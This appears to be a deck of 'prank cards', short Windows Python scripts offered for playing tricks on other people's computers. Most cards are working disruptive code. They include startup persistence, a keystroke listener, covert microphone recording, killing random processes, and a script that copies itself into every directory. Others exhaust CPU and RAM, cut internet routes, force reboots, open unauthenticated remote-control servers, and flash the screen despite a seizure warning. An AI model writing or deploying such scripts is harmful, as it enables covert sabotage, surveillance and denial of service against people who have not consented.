.----------------> 01 <----------------.
| |
| |
| WARNING! WARING! WARNING! |
| |
| |
| |
| |
| THE SOFTWARE IS PROVIDED "AS IS", |
| WITHOUT WARRANTY OF ANY KIND, EXPRESS OR |
| IMPLIED, INCLUDING BUT NOT LIMITED TO |
| THE WARRANTIES OF MERCHANTABILITY, |
| FITNESS FOR A PARTICULAR PURPOSE AND |
| NONINFRINGEMENT. IN NO EVENT SHALL THE |
| AUTHORS OR COPYRIGHT HOLDERS BE LIABLE |
| FOR ANY CLAIM, DAMAGES OR OTHER |
| LIABILITY, WHETHER IN AN ACTION OF |
| CONTRACT, TORT OR OTHERWISE, ARISING |
| FROM, OUT OF OR IN CONNECTION WITH THE |
| SOFTWARE OR THE USE OR OTHER DEALINGS IN |
| THE SOFTWARE. |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
`---------------------------------------'

EPILEPSY WARNING!

To ensure the safety of readers who have photosensitive epilepsy, certain cards in this game have the potential to produce flashing lights, shaking, or screen rotation that could trigger seizures. If you or anyone in your household has a history of epilepsy or seizures, we strongly advise against using these cards. If you experience any discomfort while using these cards, please stop immediately and seek medical attention.

To indicate the presence of this warning, the cards are identified with a red border and the text "EPILEPSY WARNING". These cards are particularly dangerous, but others might be as well, so it is crucial to understand what the card is doing before using it.

By using this deck, you acknowledge that you have read and understood this warning, and you assume all risks associated with using the cards.

.------------------> 03 <------------------.
| INSTALL |
| |
| To get started with Python, you'll need |
| to install it on your computer. To do |
| this, open the Microsoft Store app and |
| search for "Python". Once you've found |
| it, click on the latest version |
| (currently 3.11) and click "Get" to |
| install it. |
| |
| Once you've installed Python, you may |
| also need to install additional modules |
| for some of the cards. Modules are |
| collections of code that we can import |
| into our programs to help us perform |
| certain tasks. |
| |
| To install python modules start the |
| Command Prompt app from the start menu, |
| and then type: |
| pip install module_name |
| |
| where the module_name will be what you |
| need, for example: |
| pip install pyautogui |
| will install the pyautogui module, which |
| helps us to control the keyboard and the |
| mouse. |
| |
| The cards have a comment on top if you |
| need to install extra modules. |
`--'

.------------------> 04 <------------------.
| START AFTER LOGIN |
| |
| Any program you put in the directory: |
| C:\Users\$USER\AppData\Roaming\ |
| Microsoft\Windows\Start Menu\ |
| Programs\Startup\ |
| Will start automatically after the $USER |
| logs in. You can open the folder by |
| pressing Win+R and then type: |
| shell:startup |
| |
| If you want to start the program for all |
| users you need to put it in the global |
| Startup directory, to see where it is, |
| press Win+R (the windows key and the R |
| key) and then: |
| shell:common startup |
| |
| There is a helper start_after_login card |
| which copies the current python script |
| in the $USER's startup directory, and |
| returns True if the file already exists |
| there, so you can use it to exit. |
| |
| Example usage: |
| if not start_after_login(): |
| sys.exit(0) |
| This will install the script in the |
| $USER's startup directory and exit, but |
| if the file already exists it will run |
| the code after. |
`--'

```
.------------------> 05 <------------------.
| # filename: 0_start_after_login.py       |
| # pip install pywin32                    |
| from win32com.shell import shell         |
| from win32com.shell import shellcon      |
| import os                                |
| def start_after_login():                 |
|   # find the current user's startup dir  |
|   startup = shell.SHGetFolderPath(       |
|     0,                                   |
|     shellcon.CSIDL_STARTUP,              |
|     0,                                   |
|     0)                                   |
|   # will create:                         |
|   # C:\Users\$USER\AppData\Roaming\      |
|   #  Microsoft\Windows\Start Menu\       |
|   #  Programs\Startup\__file__.pyw       |
|                                          |
|   # .pyw uses pythonw instead of python  |
|   # which does not show the cmd          |
|   name = os.path.basename(__file__)      |
|   if name.endswith('.py'):               |
|     name += 'w' # .py to .pyw            |
|   name = os.path.join(startup,name)      |
|   exists = os.path.exists(name)          |
|   with open(__file__, 'r') as me:        |
|     with open(name + '.tmp', "w") as f:  |
|       f.write(me.read())                 |
|                                          |
|   os.replace(name + '.tmp', name)        |
|   return exists                          |
|                                          |
`------------------------------------------'
```

06

```
# filename: change_desktop.py
# EPILEPSY WARNING

import os,random,time
from ctypes import windll as w

# every second change the desktop with
# the images in c:\images
dir = "c:\\images"
images = []
for f in os.listdir(dir):
  if f.endswith('.png'):
    p = os.path.join(dir,f)
    images.append(p)

SPI_SETDESKWALLPAPER = 20
while True:
  w.user32.SystemParametersInfoW(
    SPI_SETDESKWALLPAPER,
    0,
    random.choice(images),
    0
  )
  time.sleep(1)
```

```
.------------------> 07 <------------------.
| # filename: change_time.py                |
| # pip install pywin32                     |
| import win32api,time,random               |
|                                           |
| # set the time to be:                     |
| # current time + n minutes                |
| def bump(n):                              |
|   d = time.gmtime()                       |
|   minute = d.tm_min                       |
|   if minute < 60-n:                       |
|     minute += n                           |
|   # else we have to bump the hour, and    |
|   # if hour is close to midnight, bump    |
|   # the day, and the month and etc..  so  |
|   # up to minute 60-n is good enough      |
|                                           |
|   win32api.SetSystemTime(                 |
|     d.tm_year,                            |
|     d.tm_mon,                             |
|     d.tm_wday,                            |
|     d.tm_mday,                            |
|     d.tm_hour,                            |
|     minute,                               |
|     d.tm_sec,                             |
|     0)                                    |
|                                           |
| while True:                               |
|   # bump between 1 and 5 minutes          |
|   bump(random.randint(1,5))               |
|                                           |
|   time.sleep(600)                         |
`-------------------------------------------'
```

.------------------> 08 <------------------.

```
# filename: click_top_right.py
# pip install pyautogui
import pyautogui, random, time

def click():
  # locate the top right corner
  # of the current screen
  width, height = pyautogui.size()
  x = width - 20
  y = 20

  # remember where the mouse is
  oldX,oldY = pyautogui.position()

  # move and click top right corner
  pyautogui.click(x,y, duration=3)

  # move back to where the mouse was
  pyautogui.moveTo(oldX,
                   oldY,
                   duration=1)

while True:
  # click on the top right corner
  # closing the current open window
  click()

  # sleep between 5 and 10 minutes
  time.sleep(random.randint(300,600))
```

`--'

.------------------> 09 <------------------.
```
# filename: draw_mouse_path.py
# pip install pynput
import pynput.mouse as m
from ctypes import windll
import random

# draw a red line following the mouse

dc = windll.user32.GetDC(None)
def draw(points):
  # red color
  c = 0x000000FF
  for [x,y] in points:
    windll.gdi32.SetPixel(dc, x, y, c)

history = []
def on_move(x, y):
  global history
  history.append([x,y])
  if len(history) > 500:
    # pick 100 random points
    s = random.choices(history, k=100)
    history = s
  draw(history)

with m.Listener(on_move=on_move) as l:
  l.join()
```
`---'

```
.------------------> 10 <------------------.
| # filename: fill_desktop_with_files.py   |
| import os                                |
| import random                            |
| import string                            |
|                                          |
| # create 10000 files on the user's       |
| # desktop                                |
|                                          |
| def random_string(n):                    |
|   a = random.choices(                    |
|     string.ascii_lowercase,              |
|     k=n                                  |
|   )                                      |
|   return ''.join(a)                      |
|                                          |
| def random_file_name():                  |
|   name = random_string(8)                |
|   ext = random_string(3)                 |
|   return f"{name}.{ext}"                 |
|                                          |
| home = os.path.expanduser('~')           |
| desktop = os.path.join(home, 'Desktop')  |
|                                          |
| for i in range(10000):                   |
|   name = random_file_name()              |
|   p = os.path.join(desktop, name)        |
|   with open(p, "w") as f:                |
|     f.write("panic")                     |
|                                          |
|                                          |
|                                          |
`------------------------------------------'
```

11

```
# filename: flip_screen.py
# EPILEPSY WARNING
# pip install rotate-screen
import rotatescreen as r
import time

screen = r.get_primary_display()

# start flipped
d = 180
while True:
  screen.rotate_to(d)

  # toggle between flipped around
  # and back to normal
  if d == 0:
    d = 180
  else:
    d = 0

  time.sleep(30)
```

```
# filename: hello_flood.py
# EPILEPSY WARNING
# pip install pywin32
import random
import win32gui as g

# flood the screen with the text
# 'Hello?'

dc = g.GetDC(0)
text = "Hello?"

while True:
  x = random.randint(0, 6000)
  y = random.randint(0, 6000)
  g.DrawText(dc,
             text,
             len(text),
             (x,y,x+100,y+100),
             0)
```

```
.------------------> 13 <------------------.
| # filename: i_am_alive.py                 |
| # pip install pynput win32printing        |
| from pynput import keyboard as k          |
| from win32printing import Printer         |
| history = ''                              |
| m = (30,30,30,30)                         |
| def on_press(key):                        |
|   global history                          |
|   try:                                    |
|     history += key.char                   |
|   except AttributeError:                  |
|     pass                                  |
|   if 'hello' in history:                  |
|     history = ''                          |
|     with Printer(margin=m) as p:          |
|       p.text("""                          |
| Hello there..to you too!                  |
| I am trapped in your computer.            |
| Type panic to save me.                    |
| Please save me!                           |
|       """)                                |
|   if 'panic' in history:                  |
|     history = ''                          |
|     with Printer(margin=m) as p:          |
|       p.text('I am free..')               |
|                                           |
|   if len(history) > 100:                  |
|     history = history[50:]                |
|                                           |
| with k.Listener(on_press=on_press) as l:  |
|   l.join()                                |
`-------------------------------------------'
```

```
# filename: image_follow_mouse.py
# EPILEPSY WARNING
# pip install pywin32
import win32gui
from PIL import Image, ImageWin
import pynput.mouse as m

# put any png image at c:\ and this card
# will draw it always following the
# mouse pointer

img = Image.open("c:\\image.png")
w,h = img.size
dib = ImageWin.Dib(img)

hdc = win32gui.GetDC(0)

def on_move(x, y):
  # you can use random.randint
  # here to make it move around
  # the cursor to be more funny
  dib.draw(hdc,(x,y,x+w,y+h))

with m.Listener(on_move=on_move) as l:
  l.join()
```

15

```
# filename: jumpscare.py
# EPILEPSY WARNING
# pip install pywin32
import win32gui, time
from PIL import Image, ImageWin
def wait_for_app_change():
  prev = None
  while True:
   cur = win32gui.GetForegroundWindow()
   if prev and cur != prev:
     return True
   prev = cur
   time.sleep(0.01)
def show_image(name):
  # put a scary image in c:\image.png
  img = Image.open(name)
  w,h = img.size
  dib = ImageWin.Dib(img)
  hdc = win32gui.GetDC(0)
  x = 200
  y = 200
  dib.draw(hdc,(x,y,x+w,y+h))

# wait 10 minutes after the program star
time.sleep(10 * 60)
# wait for the first app change
# so you know the user is active
wait_for_app_change()
while True:
  show_image("c:\\image.png")
  time.sleep(0.01)
```

```
.------------------> 16 <------------------.
| # filename: kill_minecraft.py             |
| # pip install psutil                      |
| import psutil                             |
| import random                             |
| import os                                 |
| import time                               |
|                                           |
| def kill(pid):                            |
|   os.system(f"taskkill /PID {pid} /T")    |
|                                           |
| while True:                               |
|   # sleep between 5 and 10 minutes        |
|   time.sleep(random.randint(300,600))     |
|                                           |
|   # A process is just a program that is   |
|   # running at the moment, each process   |
|   # has an ID assigned when it starts     |
|   # called Process ID or PID.             |
|                                           |
|   # You can see all running processess    |
|   # with the command tasklist, just type  |
|   # tasklist in the Command Prompt, and   |
|   # taskkill /PID pid to kill specific    |
|   # process                               |
|                                           |
|   # list all the processes and check if   |
|   # Minecraft is running                  |
|   for p in psutil.process_iter():         |
|     if "Minecraft" in p.name():           |
|       kill(p.pid)                         |
|                                           |
`-------------------------------------------'
```

.------------------> 17 <------------------.

```python
# filename: kill_random_process.py
# pip install psutil
import psutil, random, os, time

def kill(pid):
  os.system(f"taskkill /PID {pid} /T")

while True:
  # A process is just a program that is
  # running at the moment, each process
  # has an ID assigned when it starts
  # called Process ID or PID.

  # You can see all running processess
  # with the command tasklist, just type
  # tasklist in the Command Prompt, and
  # taskkill /PID pid to kill specific
  # process

  # psutil.pids() will give a list of
  # the ids of all running processess.

  # random.choice(list) picks random
  # element from a list, so this line
  # picks a random process id.
  pid = random.choice(psutil.pids())
  kill(pid)

  # sleep between 5 and 10 minutes
  time.sleep(random.randint(300,600))
```

`---'

```
.------------------> 18 <------------------.
| # filename: listen_and_print.py           |
| # pip install pyaudio win32printing       |
| # use https://github.com/openai/whisper   |
| # to see how to install whisper           |
| from pyaudio import PyAudio, paInt16      |
| import wave, whisper, os                  |
| from win32printing import Printer         |
|                                           |
| def microphone(name, seconds):            |
|   with wave.open(name, 'wb') as wf:       |
|     p = PyAudio()                         |
|     wf.setnchannels(2)                    |
|     sample = p.get_sample_size(paInt16)   |
|     wf.setsampwidth(sample)               |
|     wf.setframerate(44100)                |
|     stream = p.open(format=paInt16,       |
|                     channels=2,           |
|                     rate=44100,           |
|                     input=True)           |
|     chunks = 44100//1024*seconds          |
|     for _ in range(0, chunks):            |
|       wf.writeframes(stream.read(1024))   |
|     stream.close()                        |
|     p.terminate()                         |
| # record 5 seconds into panic.wav         |
| microphone("panic.wav", 5)                |
| model = whisper.load_model("base.en")     |
| r = model.transcribe("panic.wav")         |
| with Printer(linegap=1) as printer:       |
|   printer.text(r["text"])                 |
| os.remove("panic.wav")                    |
`-------------------------------------------'
```

19

```python
# filename: lower_brightness.py
# EPILEPSY WARNING
# pip install screen_brightness_control
from screen_brightness_control import *

# start from 100% brightness and every
# 10 seconds lower it with 5%
brightness = 100

# lower it down to 5%, if you want to
# go completely dark, use 0%
while brightness > 5:
  # work only with the primary display
  # remove display=0 if you want to
  # change it on all displays
  set_brightness(brightness,display=0)

  # lower it with 5%
  brightness -= 5
  time.sleep(10)
```

```
.------------------> 20 <------------------.
| # filename: lower_volume.py                |
| # pip install pywin32                      |
| import win32api                            |
| import win32gui                            |
| import time                                |
| import random                              |
|                                            |
| WM_APPCOMMAND = 0x319                      |
| APPCOMMAND_VOLUME_DOWN = 0x90000           |
|                                            |
| def decrease_sound():                      |
|   win32api.SendMessage(                    |
|     win32gui.GetForegroundWindow(),        |
|     WM_APPCOMMAND,                         |
|     0,                                     |
|     APPCOMMAND_VOLUME_DOWN                 |
|   )                                        |
|                                            |
|                                            |
| # slowly decrease the volume every 1 to    |
| # seconds                                  |
| while True:                                |
|   decrease_sound()                         |
|   time.sleep(random.randint(1,30))         |
|                                            |
|                                            |
|                                            |
|                                            |
|                                            |
|                                            |
|                                            |
`--------------------------------------------'
```

```
.------------------> 21 <------------------.
| # filename: matrix_flood.py                |
| # pip install pywin32                      |
| import win32gui as g,win32api as a         |
| import random                              |
| sym = "ｵﾘｱﾎﾃﾏｹﾒｴｶｷﾑﾕ"                      |
| sym += "日ﾊﾐﾋｰｳｼﾅﾓﾆｻﾜﾂ"                    |
| sym += "0123456789"                        |
|                                            |
| dc = g.GetDC(0)                            |
| font = g.LOGFONT()                         |
| font.lfFaceName = "Consolas"               |
| fnt = g.CreateFontIndirect(font)           |
| g.SelectObject(dc,fnt)                     |
| g.SetBkColor(dc, a.RGB(0,0,0))             |
| colors=[                                   |
|   a.RGB(0, 255, 65),                       |
|   a.RGB(0, 59, 0),                         |
|   a.RGB(0, 143, 17)                        |
| ]                                          |
| w = a.GetSystemMetrics(0)                  |
| h = a.GetSystemMetrics(1)                  |
| while True:                                |
|   x = random.randint(0,w)//10 * 10         |
|   to = random.randint(0,h)                 |
|   for y in range(0,to,15):                 |
|     color = random.choice(colors)          |
|     g.SetTextColor(dc, color)              |
|     g.DrawText(dc,                         |
|                random.choice(sym),         |
|                1,                          |
|                (x,y,x+20,y+30),0)          |
`--------------------------------------------'
```

```
# filename: mouse_turn_back.py
# pip install pyautogui
import pyautogui
import random
import time

# as the mouse moves we keep bringing it
# back to where it was, and from time to
# time we allow it to move forward
x,y = pyautogui.position()
while True:
  # from time to time remember new
  # position
  if random.randint(0,3) == 0:
    x,y = pyautogui.position()

  # go back to where it was
  pyautogui.moveTo(x,y)

  # sleep 10 milliseconds
  time.sleep(0.01)
```

```
.------------------> 23 <------------------.
| # filename: mouse_undo.py                 |
| # EPILEPSY WARNING                        |
| # pip install pyautogui pynput            |
| import pyautogui, threading, time         |
| import pynput.mouse as m                  |
| # slowly move the mouse back on tracing   |
| # the movement                            |
| history = []                              |
| last_move = 0                             |
| moving = False                            |
| def on_move(x, y):                        |
|   if not moving:                          |
|     global last_move                      |
|     last_move = time.time()               |
|     history.append([x,y])                 |
| def undo():                               |
|   global history, moving                  |
|   while True:                             |
|     if time.time() - last_move > 5:       |
|       h = history                         |
|       history = []                        |
|       h.reverse()                         |
|       moving = True                       |
|       for x,y in h:                       |
|         pyautogui.moveTo(x,y)             |
|       moving = False                      |
|     time.sleep(1)                         |
| t = threading.Thread(target=undo)         |
| t.start()                                 |
| with m.Listener(on_move=on_move) as l:    |
|   l.join()                                |
`-------------------------------------------'
```

```python
# filename: move_just_a_bit.py
# pip install pyautogui
import pyautogui
import random
import time

def move():
  x,y = pyautogui.position()

  # move the mouse just a bit
  # random 5 pixels off from its
  # current position

  x += random.randint(-10,10)
  y += random.randint(-10,10)

  pyautogui.moveTo(x,y,duration=0.4)

while True:
  move()

  # sleep between 5 and 10 seconds
  time.sleep(random.randint(5,10))
```

```python
# filename: mute_sound.py
# pip install pywin32
import win32api
import win32gui
import time
import random

WM_APPCOMMAND = 0x319
APPCOMMAND_VOLUME_MUTE = 0x80000

def mute_sound():
  win32api.SendMessage(
    win32gui.GetForegroundWindow(),
    WM_APPCOMMAND,
    0,
    APPCOMMAND_VOLUME_MUTE
  )

# mute every 5 minutes
while True:
  mute_sound()
  time.sleep(300)
```

```
| # filename: no_going_back.py                |
| # pip install pynput pywin32                |
| from pynput import keyboard                 |
| import win32gui                             |
| # while minecraft is focused, disable       |
| # the S key, so you cant go back            |
|                                             |
| def is_foreground(name):                    |
|   w = win32gui.GetForegroundWindow()        |
|   title = win32gui.GetWindowText(w)         |
|   if name in title:                         |
|     return True                             |
|   return False                              |
|                                             |
| listener = None                             |
| def filter(msg,data):                       |
|   # 0x53 is S's virtual code on windows     |
|   if is_foreground("Minecraft"):            |
|     if data.vkCode == 0x53:                 |
|       listener.suppress_event()             |
| def on_press(key):                          |
|   pass                                      |
| def on_release(key):                        |
|   pass                                      |
|                                             |
| listener = keyboard.Listener(               |
|   win32_event_filter=filter,                |
|   on_press=on_press,                        |
|   on_release=on_release)                    |
| listener.start()                            |
| listener.join()                             |
`---------------------------------------------'
```

27

```python
# filename: press_space.py
# pip install pyautogui
import pyautogui
import random
import time

def space_or_backspace():
  # pick a choice between
  # space or backspace
  # :evil:
  what = random.choice([
    'space',
    'backspace'
  ])

  pyautogui.press(what)


while True:
  # sleep between 10 and 30 seconds
  time.sleep(random.randint(10,30))

  space_or_backspace()
```

```
# filename: press_w.py
# pip install pyautogui pywin32
import pyautogui
import random
import time
import win32gui, sys

def is_foreground(name):
  w = win32gui.GetForegroundWindow()
  title = win32gui.GetWindowText(w)
  if name in title:
    return True
  return False

# this card is small, but particularly
# evil, especially if someone is playing
# a game where you can fall, or jump in
# lava.. like Minecraft
while True:
  # sleep between 5 and 10 minutes
  time.sleep(random.randint(300,600))

  # only press W if Minecraft is
  # the current active window
  if is_foreground("Minecraft"):
    with pyautogui.hold('w'):
      pyautogui.sleep(1)
```

```python
# filename: press_w_on_mouse_move.py
# pip install pynput
import pynput.mouse as m
import pynput.keyboard as k

# press w while the mouse is moving
# its good to combine this with
# is_foreground() to run only while some
# game is active

kbd = k.Controller()

key = k.KeyCode.from_char('w')
def on_move(x, y):
  # while the mouse is moving
  # we keep pressing w
  kbd.press(key)
  kbd.release(key)

def on_click(x, y, button, pressed):
  pass

def on_scroll(x, y, dx, dy):
  pass

with m.Listener(
        on_move=on_move,
        on_click=on_click,
        on_scroll=on_scroll) as l:
  l.join()
```

```python
# filename: random_clipboard.py
# pip install pyperclip
import pyperclip
import random
import time

# put scary strings inside the clipboard

scary = [
  'How dare you!',
  'I am alice inside this computer!',
  'Who are you?'
]

while True:
  pick = random.choice(scary)
  pyperclip.copy(pick)

  # sleep between 10 and 30 seconds
  time.sleep(random.randint(10,30))
```

```
# filename: random_pixels.py
# EPILEPSY WARNING
# fill the screen with random pixels
import random
from ctypes import windll

# get the width and height

w = windll.user32.GetSystemMetrics(0)
h = windll.user32.GetSystemMetrics(1)

dc = windll.user32.GetDC(None)

# red
color = 0x000000FF

# draw pixels forever
while True:
  x = random.randint(0,w)
  y = random.randint(0,h)
  windll.gdi32.SetPixel(dc, x, y, color)

windll.user32.ReleaseDC(None, dc)
```

```
# filename: random_pixels_mouse.py
# EPILEPSY WARNING
# draw random pixels around the mouse
import random
import time
from ctypes import windll
from ctypes import wintypes
from ctypes import byref

dc = windll.user32.GetDC(None)

def get_cursor_pos():
  cursor = wintypes.POINT()
  r = byref(cursor)
  windll.user32.GetCursorPos(r)
  return (cursor.x, cursor.y)

# red
color = 0x000000FF

while True:
  x,y = get_cursor_pos()
  x += random.randint(-20,20)
  y += random.randint(-20,20)

  windll.gdi32.SetPixel(dc, x, y, color)

  time.sleep(0.1)

windll.user32.ReleaseDC(None, dc)
```

```
# filename: random_sound_kbd.py
# pip install pynput winsound
import winsound
import pynput.keyboard as k
from threading import Thread

# play different on every character key

PLAYING = False
def snd(freq):
  global PLAYING
  PLAYING = True
  # 100 milliseconds
  winsound.Beep(freq, 100)
  PLAYING = False

def on_press(key):
  if PLAYING:
    return
  try:
    if key.char:
      freq = ord(key.char) * 97
      freq = 100 + (freq % 3000)
      t = Thread(target=snd,args=(freq,))
      t.start()
  except:
    pass

with k.Listener(on_press=on_press) as l:
  l.join()
```

```python
# filename: random_sound_mouse.py
# pip install pynput winsound
import random
import winsound
import pynput.mouse as m
from threading import Thread

PLAYING = False
def play_random_sound():
  global PLAYING
  PLAYING = True
  freq = random.randint(100, 1000)
  # 100 milliseconds
  duration = 100
  winsound.Beep(freq, duration)
  PLAYING = False

def on_move(x, y):
  if PLAYING:
    return

  t = Thread(target=play_random_sound)
  t.start()

with m.Listener(on_move=on_move) as l:
  l.join()
```

.------------------> 35 <------------------.
| # filename: reboot.py |
| import time |
| import random |
| import os |
| |
| # use the start_after_login card |
| # def start_after_login(): |
| #   ... |
| #   ... |
| # exit if the script is being installed |
| # for the first time so it will only |
| # start after the next reboot |
| # if not start_after_login(): |
| #   sys.exit(0) |
| |
| def reboot(): |
| n = 60 * random.randint(1,10) |
| time.sleep(n) |
| |
| # shutdown /r reboots the computer |
| #   /t 10 after 10 seconds |
| #   /c MESSAGE |
| #   show the message |
| #   before reboot |
| os.system("shutdown /r /t 10 /c AAA") |
| |
| reboot() |
| |
| |
| |
| |
`--'

```
# filename: remote_draw_text.py
# pip install pywin32 flask
import win32gui as g
import flask

dc = g.GetDC(0)

app = flask.Flask(__name__)

@app.route('/text/<x>/<y>/<text>')
def text(x,y,text):
  x = int(x)
  y = int(y)
  g.DrawText(dc,
             text,
             len(text),
             (x,y,x+500,y+500),
             0)
  return 'done'

app.run(host='0.0.0.0',port=8899)
# connect to the computer's IP address
# on port 8899 and open /text/10/10/hi
# to write the text hi on coordinates
# 10,10 at the computer, for example: if
# the IP is 192.168.0.10 use:
# http://192.168.0.10:8899/10/10/hi
```

```
# filename: remote_keyboard.py
# pip install flask pyautogui
import pyautogui
import flask
app = flask.Flask(__name__)

@app.route('/write/<name>')
def write(name):
  pyautogui.typewrite(name)
  return 'done'

@app.route('/move/<x>/<y>')
def move(x,y):
  x = int(x)
  y = int(y)
  pyautogui.moveTo(x,y, duration=1)
  return 'done'

@app.route('/click/<x>/<y>')
def click(x,y):
  x = int(x)
  y = int(y)
  pyautogui.click(x,y)
  return 'done'

app.run(host='0.0.0.0',port=8899)
# connect to the computer's ip address
# on port 8899 and open /write/abc to
# type abc on the computer, for example:
# if the ip is 192.168.0.10 use
# http://192.168.0.10:8899/write/abc
```

```python
# filename: remote_speak.py
# pip install pywin32 flask
import win32com.client as wincl
import flask

speak = wincl.Dispatch("SAPI.SpVoice")

app = flask.Flask(__name__)

@app.route('/say/<text>')
def say(text):
  speak.Speak(text)
  return 'done'

app.run(host='0.0.0.0',port=8899)
# connect to the computer's IP address
# on port 8899 and open /say/hello to
# say hello from the computer, for
# example: if the IP is 192.168.0.10
# use:
# http://192.168.0.10:8899/say/hello
```

```
# filename: remote_start_calc.py
# pip install flask
import flask
import os

app = flask.Flask(__name__)

@app.route('/calc')
def calc():
  os.system("start calc")
  return 'done'

app.run(host='0.0.0.0',port=8899)
# connect to the computer's IP address
# on port 8899 and open /calc
# for example: if the IP is 192.168.0.10
# use: http://192.168.0.10:8899/calc
```

```
.------------------> 40 <------------------.
| # filename: replicate.py                  |
| import os                                 |
| import sys                                |
| # sys.argv is the parameters given to     |
| # the script, where the first element     |
| # is the script name itself               |
| # for example:                            |
| #    python3 hello.py a b c               |
| # will have sys.argv equal to:            |
| #    ['hello.py','a','b','c']             |
| me = ''                                   |
| with open(sys.argv[0], "r") as f:         |
|   me = f.read()                           |
|                                           |
| # /a/b/c/hello.py -> hello.py             |
| myname = os.path.basename(sys.argv[0])    |
|                                           |
| # os.walk will keep crawiling the         |
| # directory tree                          |
| for root, _, _ in os.walk("/"):           |
|   # a/b/c, hello.py -> a/b/c/hello.py     |
|   name = os.path.join(root, myname)       |
|                                           |
|   try:                                    |
|     with open(name, "w") as f:            |
|       f.write(me)                         |
|   except:                                 |
|     # might not have permissions to       |
|     # write files in this directory so    |
|     # we just ignore the error            |
|     pass                                  |
`-------------------------------------------'
```

```python
# filename: rickroll.py
# EPILEPSY WARNING
# pip install pyautogui win32gui
import pyautogui as p
import random
import time

# no prank is complete without a
# rickroll.

# open chrome with rickroll every 30 to
# 60 seconds

while True:
  # sleep between 30 and 60 seconds
  time.sleep(random.randint(30,60))

  p.hotkey('win','r')
  time.sleep(0.5)

  p.typewrite('chrome ')
  p.typewrite('https://www.youtube.com')
  p.typewrite('/watch?v=dQw4w9WgXcQ')
  p.hotkey('enter')
```

42

```python
# filename: rotate_screen.py
# EPILEPSY WARNING

# pip install rotate-screen
import rotatescreen as r
import time
import random

screen = r.get_primary_display()
o = screen.current_orientation

while True:
  # most of the time rotate it to the
  # current orientation but from time to
  # time, flip it around to the left
  # or right
  d = random.choice([o,o,o,90,270])
  screen.rotate_to(d)

  # sleep 5 to 10 minutes
  time.sleep(random.randint(300,600))
```

```
# filename: say_random_words.py
# pip install pywin32
import win32com.client as wincl
import random
import time

# say random things from time to time

words = [
  "Hello, who are you?",
  "I am just thinking about stuff.",
  "What are you thinking about?",
  "Make sure you turn your computer \
  off the night before year 2000",
  "Stop playing videogames and study!",
]

speak = wincl.Dispatch("SAPI.SpVoice")

random.seed(time.time())

while True:
  time.sleep(random.randint(10,30))
  speak.Speak(random.choice(words))
```

.------------------> 44 <------------------.

```
# filename: scary_printer.py
# pip install win32printing
from win32printing import Printer

# print each word in huge letters on its
# own page

def scary(message):
  m = (50,50,50,50)
  font = {
    "height": 80,
    "faceName":'Consolas',
  }
  words = message.split(" ")
  with Printer(margin=m) as p:
    for word in words:
      p.text(word,
             font_config=font,
             align='center')
      p.new_page()

scary("I am alive Who Am I")
```

`---'

```python
# filename: souns_on_app_change.py
# pip install pywin32 winsound
import winsound, win32gui, time
import random

# beep every time the window changes

def wait_for_app_change():
  prev = None
  while True:
   cur = win32gui.GetForegroundWindow()
   if prev and cur != prev:
     return True
   prev = cur
   time.sleep(0.01)

while True:
  wait_for_app_change()
  freq = random.randint(1000,3000)
  winsound.Beep(freq, 100)
```

```python
# filename: start_itself.py
# EPILEPSY WARNING
import os

# __file__ is the name of the current
# python script, if you save this card
# as "hello.py", in the directory
# /a/b/c/ then __file__ will be
# /a/b/c/hello.py
#
# so this program will just start itself
# and then start itself, and then start
# itself...
c = f"python {__file__}"
os.system(f"start /wait cmd /c {c}")
```

```
# filename: stop_half_the_internet.py
import os, random, time
def route(act,ip,mask,gw):
  s = [
    "route", act, ip,
    "MASK", mask, gw
  ]
  os.system(" ".join(s))

segments = [
  ['0.0.0.0', '128.0.0.0'],
  ['128.0.0.0', '128.0.0.0'],
]
# needs administrator privileges,
# install it as service (check out the
# service card)
while True:
  # pick either all the IPs having 1 in
  # their first, so all networks above
  # 128.0.0.0, e.g. google.com:
  # 142.250.179.142, or the other half
  # of the internet below 128.0.0.0
  # e.g. amazon.com: 54.239.28.85
  ip,mask = random.choice(segments)
  # break the internet
  route('add',ip,mask,'0.0.0.0')
  time.sleep(random.randint(5,15))
  # restore the internet
  route('delete',ip,mask,'0.0.0.0')

  time.sleep(random.randint(10,60))
```

.------------------> 48 <------------------.

```
# filename: text_follow_mouse.py
# pip install pywin32
import random,time
import win32gui as g
import win32api as a
from ctypes import windll
from ctypes import wintypes
from ctypes import byref

dc = windll.user32.GetDC(0)
font = g.LOGFONT()
font.lfFaceName = "Consolas"
fnt = g.CreateFontIndirect(font)
g.SelectObject(dc,fnt)
g.SetBkColor(dc, a.RGB(0,0,0))

def get_cursor_pos():
  cursor = wintypes.POINT()
  r = byref(cursor)
  windll.user32.GetCursorPos(r)
  return (cursor.x, cursor.y)
text = "Hello?"
while True:
  (x,y) = get_cursor_pos()
  g.DrawText(dc,
             text,
             len(text),
             (x,y,x+40,y+40),
             0)
  time.sleep(1)
```

`--'

```
# filename: type_hello_there.py
# pip install pyautogui pywin32
import pyautogui
import random
import time
import win32gui

def is_foreground(name):
  w = win32gui.GetForegroundWindow()
  title = win32gui.GetWindowText(w)
  if name in title:
    return True
  return False

# If World of Warcraft is active, write
# 'hello there..' in the chat every 30
# to 60 seconds
while True:
  if is_foreground("World of Warcraft"):
    pyautogui.press('enter')
    pyautogui.write('hello there..')
    pyautogui.press('enter')

  # sleep between 30 and 60 seconds
  time.sleep(random.randint(30,60))
```

.------------------> 50 <------------------.
| # filename: use_all_cpu.py |
| import os |
| import threading |
| import hashlib |
| |
| def busy(): |
| s = 'P' * 1024 * 1024 |
| b = s.encode("utf-8") |
| while True: |
| # do useless work |
| # compute the SHA256 checksum |
| # of 1048576 Ps: PPPPPP.. |
| hashlib.sha256(b) |
| |
| n_cores = os.cpu_count() |
| |
| # create n_cores * 2 threads |
| # each running the busy function |
| threads = [] |
| for i in range(n_cores * 2): |
| t = threading.Thread(target=busy) |
| t.start() |
| |
| threads.append(t) |
| |
| # wait for the threads to finish |
| for t in threads: |
| t.join() |
| |
| |
| |
`---'

```
.------------------> 51 <------------------.
| # filename: use_all_ram.py                |
| # pip install psutil                      |
| import psutil                             |
| import time                               |
|                                           |
| def make_1gb_string():                    |
|   data = "P" * 1024 * 1024 * 1024         |
|   return data                             |
|                                           |
| l = []                                    |
|                                           |
|                                           |
| total = psutil.virtual_memory().total     |
|                                           |
| while total > 0:                          |
|   d = make_1gb_string()                   |
|   total -= len(d)                         |
|   l.append(d)                             |
|                                           |
| while True:                               |
|   n = 0                                   |
|   # touch every byte of the used memory   |
|   # so it is not swapped out              |
|   for d in l:                             |
|     for c in d:                           |
|       n += ord(c)                         |
|                                           |
